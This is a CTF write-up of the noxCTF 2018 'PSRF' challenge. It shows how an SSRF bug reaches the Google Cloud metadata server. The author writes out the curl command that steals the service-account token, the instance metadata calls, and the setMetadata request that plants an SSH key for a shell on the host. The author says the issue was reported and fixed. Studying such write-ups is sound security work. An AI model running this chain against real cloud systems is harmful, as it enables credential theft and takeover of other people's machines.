This article was a CTF (Capture the flag) writeup, and it shows a common mistake that happend when designing a CTF challange. Basically, it shows if a challenge can access the internal network, and the machine is on a Cloud service provider, then you might have the chance to take it over. The following are the technique details.
When I was play noxCTF 2018, I saw a challenge named PSRF and it under web category, then I thought that might be SSRF, PostScript, or both.
Then I decided to look at that.
I trying to solve it by the way I think it should be, but I always got HTTP 500 when I trying to access another server, so I decided to use another way to do it.
There are some terms that usually appear on CTF and Information Security Area
The challenge provide an input box and a radio box, and it will send a HTTP GET request to
http://35.241.245.36/api/v1/upload?url=http://your_url&method=get
like this, and it will return an image name, and the result of the SSRF will store under http://35.241.245.36/images/
The challenge has kubernetes logo on the bottom of the page like the screenshot below, and the IP is 35.241.245.36.
I immediately realized that is a GCP machine, so I tested the backend server by sending HTTP request to my server to see if it is also on GCP, and it is.
I think there is not much people know about http://metadata.google.internal.
Well, basically, it is a "feature" provided by Google Cloud Platform, you can use it to access information about the project and instances, but it also include the time limited API token of service account under the project. It is enable by the default.
curl -s 'http://35.241.245.36/images/'`curl -s "http://35.241.245.36/api/v1/upload?url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token&method=get"`
{"access_token":"xxxxxxxxxx","expires_in":3063,"token_type":"Bearer"}
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/name
http://metadata.google.internal/computeMetadata/v1/instance/zone
https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}
Metadata-Flavor: Google
Authorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxx
.........................
],
"metadata": {
"kind": "compute#metadata",
"fingerprint": "2bsm86CRs-0=",
"items": [
{
"key": "instance-template",
"value": "projects/720594190990/global/instanceTemplates/gke-psrf-dev-default-pool-9ae6b68d"
},
{
"key": "created-by",
"value": "projects/720594190990/zones/europe-west1-b/instanceGroupManagers/gke-psrf-dev-default-pool-9ae6b68d-grp"
},
{
"key": "gci-update-strategy",
"value": "update_disabled"
}
.........................
We only need the fingerprint
https://www.googleapis.com/compute/v1/projects/{}/zones/{}/instances/{}/setMetadata
Metadata-Flavor: Google
Authorization: Bearer xxxxxxxx_token_from_first_step_xxxxxxxx
Content-Type: application/json
{
"fingerprint":"2bsm86CRs-0=",
"items": [
{
"key": "sshKeys",
"value": "username:ssh-rsa AAAAB..................4KeQzSMFH userid"
}
]
}
I ssh to the server. I know it is using kubernetes, so I run docker ps
Then docker exec -it xxxxxxxxx /bin/sh
Then ls
Easy, just solved the challenge by looking at the source code
I report this security issue to the team, and just fix it pretty quick.
Not only GCP has these kind of management interface, you can also found similar thing on AWS.
Most of CTF use docker to host challenges, but in most of the challenges that don't limit the network, so it is possible to do a privilege escalation on pwn or web challenges.